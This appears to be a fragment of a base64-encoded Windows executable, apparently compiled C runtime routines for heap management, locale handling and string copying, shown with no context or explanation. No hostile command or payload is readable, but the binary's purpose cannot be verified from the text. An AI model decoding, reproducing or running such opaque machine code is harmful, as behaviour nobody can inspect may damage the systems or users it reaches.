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EHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Dya////dgjoNJr///92DOgsmv///3YQ6CSa////dhToHJr///92GOgUmv///zboDZr///92IOgFmv///3Yk6P2Z////dijo9Zn///92LOjtmf///3Yw6OWZ////djTo3Zn///92HOjVmf///3Y46M2Z////djzoxZn//4PEQP92QOi6mf///3ZE6LKZ////dkjoqpn///92TOiimf///3ZQ6JqZ////dlTokpn///92WOiKmf///3Zc6IKZ////dmDoepn///92ZOhymf///3Zo6GqZ////dmzoYpn///92cOhamf///3Z06FKZ////dnjoSpn///92fOhCmf//g8RA/7aAAAAA6DSZ////toQAAADoKZn///+2iAAAAOgemf///7aMAAAA6BOZ////tpAAAADoCJn///+2lAAAAOj9mP///7aYAAAA6PKY////tpwAAADo55j///+2oAAAAOjcmP///7akAAAA6NGY////tqgAAADoxpj//4PELF5dw4v/VYvsVot1CIX2dDWLBjsFeB5BAHQHUOijmP//WYtGBDsFfB5BAHQHUOiRmP//WYt2CDs1gB5BAHQHVuh/mP//WV5dw4v/VYvsVot1CIX2dH6LRgw7BYQeQQB0B1DoXZj//1mLRhA7BYgeQQB0B1DoS5j//1mLRhQ7BYweQQB0B1DoOZj//1mLRhg7BZAeQQB0B1DoJ5j//1mLRhw7BZQeQQB0B1DoFZj//1mLRiA7BZgeQQB0B1DoA5j//1mLdiQ7NZweQQB0B1bo8Zf//1leXcPMzMzMzMzMzFWL7FYzwFBQUFBQUFBQi1UMjUkAigIKwHQJg8IBD6sEJOvxi3UIg8n/jUkAg8EBigYKwHQJg8YBD6MEJHPui8GDxCBeycPMzMzMzMzMzMzMi1QkBItMJAj3wgMAAAB1PIsCOgF1LgrAdCY6YQF1JQrkdB3B6BA6QQJ1GQrAdBE6YQN1EIPBBIPCBArkddKL/zPAw5AbwNHgg8ABw/fCAQAAAHQYigKDwgE6AXXng8EBCsB03PfCAgAAAHSkZosCg8ICOgF1zgrAdMY6YQF1xQrkdL2DwQLriMzMzMzMzMzMVYvsVjPAUFBQUFBQUFCLVQyNSQCKAgrAdAmDwgEPqwQk6/G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